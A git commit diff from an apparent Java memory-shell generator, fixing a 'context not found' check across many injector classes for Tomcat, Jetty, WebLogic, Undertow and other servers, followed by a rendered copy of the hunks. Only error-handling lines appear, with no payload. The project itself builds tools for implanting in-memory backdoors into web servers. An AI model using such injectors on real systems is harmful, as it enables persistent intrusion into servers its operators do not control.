fix: context not found test not work

ReaJason · ReaJason · commit f4a5dd39495d · 2026-01-12T01:23:14.000+08:00
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java
@@ -44,7 +44,7 @@ public ApusicFilterInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java
@@ -40,7 +40,7 @@ public ApusicListenerInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java
@@ -40,7 +40,7 @@ public ApusicServletInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java
@@ -40,7 +40,7 @@ public BesFilterInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -105,7 +105,7 @@ public Set<Object> getContext() throws Exception {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java
@@ -36,7 +36,7 @@ public BesListenerInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java
@@ -35,7 +35,7 @@ public BesValveInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java
@@ -43,7 +43,7 @@ public GlassFishFilterInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java
@@ -36,7 +36,7 @@ public GlassFishValveInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java
@@ -41,7 +41,7 @@ public InforSuiteFilterInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -95,7 +95,7 @@ public Set<Object> getContext() throws Exception {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java
@@ -42,7 +42,7 @@ public JettyFilterInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java
@@ -29,7 +29,7 @@ public JettyListenerInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java
@@ -42,7 +42,7 @@ public JettyServletInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java
@@ -39,7 +39,7 @@ public ResinFilterInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java
@@ -38,7 +38,7 @@ public ResinListenerInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinServletInjector.java
@@ -40,7 +40,7 @@ public ResinServletInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java
@@ -43,7 +43,7 @@ public TomcatFilterInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatListenerInjector.java
@@ -35,7 +35,7 @@ public TomcatListenerInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -107,7 +107,7 @@ private String getContextRoot(Object context) {
         return c + "(" + r + ")";
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java
@@ -41,7 +41,7 @@ public TomcatProxyValveInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatServletInjector.java
@@ -44,7 +44,7 @@ public TomcatServletInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatUpgradeInjector.java
@@ -37,7 +37,7 @@ public TomcatUpgradeInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatValveInjector.java
@@ -35,7 +35,7 @@ public TomcatValveInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java
@@ -43,7 +43,7 @@ public TomcatWebSocketInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java
@@ -44,7 +44,7 @@ public TongWebFilterInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -117,7 +117,7 @@ public Set<Object> getContext() throws Exception {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebListenerInjector.java
@@ -35,7 +35,7 @@ public TongWebListenerInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -96,7 +96,7 @@ public Set<Object> getContext() throws Exception {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebValveInjector.java
@@ -35,7 +35,7 @@ public TongWebValveInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowFilterInjector.java
@@ -43,7 +43,7 @@ public UndertowFilterInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java
@@ -40,7 +40,7 @@ public UndertowListenerInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletInjector.java
@@ -44,7 +44,7 @@ public UndertowServletInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java
@@ -44,7 +44,7 @@ public WebLogicFilterInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java
@@ -39,7 +39,7 @@ public WebLogicListenerInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java
@@ -47,7 +47,7 @@ public WebLogicServletInjector() {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
diff --git a/web/content/docs/memshell-core-config.mdx b/web/content/docs/memshell-core-config.mdx
@@ -66,7 +66,7 @@ try {
 } catch (Throwable throwable) {
     msg += "context error: " + getErrorMessage(throwable);
 }
-if (contexts == null) {
+if (contexts == null || contexts.isEmpty()) {
     msg += "context not found";
 } else {
     for (Object context : contexts) {

Original file line number	Diff line number	Diff line change
`@@ -44,7 +44,7 @@ public ApusicFilterInjector() {`
`44`	`44`	`} catch (Throwable throwable) {`
`45`	`45`	`msg += "context error: " + getErrorMessage(throwable);`
`46`	`46`	`}`
`47`		`- if (contexts == null) {`
	`47`	`+ if (contexts == null \|\| contexts.isEmpty()) {`
`48`	`48`	`msg += "context not found";`
`49`	`49`	`} else {`
`50`	`50`	`for (Object context : contexts) {`
Original file line number	Diff line number	Diff line change
`@@ -40,7 +40,7 @@ public ApusicListenerInjector() {`
`40`	`40`	`} catch (Throwable throwable) {`
`41`	`41`	`msg += "context error: " + getErrorMessage(throwable);`
`42`	`42`	`}`
`43`		`- if (contexts == null) {`
	`43`	`+ if (contexts == null \|\| contexts.isEmpty()) {`
`44`	`44`	`msg += "context not found";`
`45`	`45`	`} else {`
`46`	`46`	`for (Object context : contexts) {`
Original file line number	Diff line number	Diff line change
`@@ -40,7 +40,7 @@ public ApusicServletInjector() {`
`40`	`40`	`} catch (Throwable throwable) {`
`41`	`41`	`msg += "context error: " + getErrorMessage(throwable);`
`42`	`42`	`}`
`43`		`- if (contexts == null) {`
	`43`	`+ if (contexts == null \|\| contexts.isEmpty()) {`
`44`	`44`	`msg += "context not found";`
`45`	`45`	`} else {`
`46`	`46`	`for (Object context : contexts) {`
Original file line number	Diff line number	Diff line change
`@@ -36,7 +36,7 @@ public BesListenerInjector() {`
`36`	`36`	`} catch (Throwable throwable) {`
`37`	`37`	`msg += "context error: " + getErrorMessage(throwable);`
`38`	`38`	`}`
`39`		`- if (contexts == null) {`
	`39`	`+ if (contexts == null \|\| contexts.isEmpty()) {`
`40`	`40`	`msg += "context not found";`
`41`	`41`	`} else {`
`42`	`42`	`for (Object context : contexts) {`
Original file line number	Diff line number	Diff line change
`@@ -35,7 +35,7 @@ public BesValveInjector() {`
`35`	`35`	`} catch (Throwable throwable) {`
`36`	`36`	`msg += "context error: " + getErrorMessage(throwable);`
`37`	`37`	`}`
`38`		`- if (contexts == null) {`
	`38`	`+ if (contexts == null \|\| contexts.isEmpty()) {`
`39`	`39`	`msg += "context not found";`
`40`	`40`	`} else {`
`41`	`41`	`for (Object context : contexts) {`
Original file line number	Diff line number	Diff line change
`@@ -43,7 +43,7 @@ public GlassFishFilterInjector() {`
`43`	`43`	`} catch (Throwable throwable) {`
`44`	`44`	`msg += "context error: " + getErrorMessage(throwable);`
`45`	`45`	`}`
`46`		`- if (contexts == null) {`
	`46`	`+ if (contexts == null \|\| contexts.isEmpty()) {`
`47`	`47`	`msg += "context not found";`
`48`	`48`	`} else {`
`49`	`49`	`for (Object context : contexts) {`
Original file line number	Diff line number	Diff line change
`@@ -36,7 +36,7 @@ public GlassFishValveInjector() {`
`36`	`36`	`} catch (Throwable throwable) {`
`37`	`37`	`msg += "context error: " + getErrorMessage(throwable);`
`38`	`38`	`}`
`39`		`- if (contexts == null) {`
	`39`	`+ if (contexts == null \|\| contexts.isEmpty()) {`
`40`	`40`	`msg += "context not found";`
`41`	`41`	`} else {`
`42`	`42`	`for (Object context : contexts) {`
Original file line number	Diff line number	Diff line change
`@@ -42,7 +42,7 @@ public JettyFilterInjector() {`
`42`	`42`	`} catch (Throwable throwable) {`
`43`	`43`	`msg += "context error: " + getErrorMessage(throwable);`
`44`	`44`	`}`
`45`		`- if (contexts == null) {`
	`45`	`+ if (contexts == null \|\| contexts.isEmpty()) {`
`46`	`46`	`msg += "context not found";`
`47`	`47`	`} else {`
`48`	`48`	`for (Object context : contexts) {`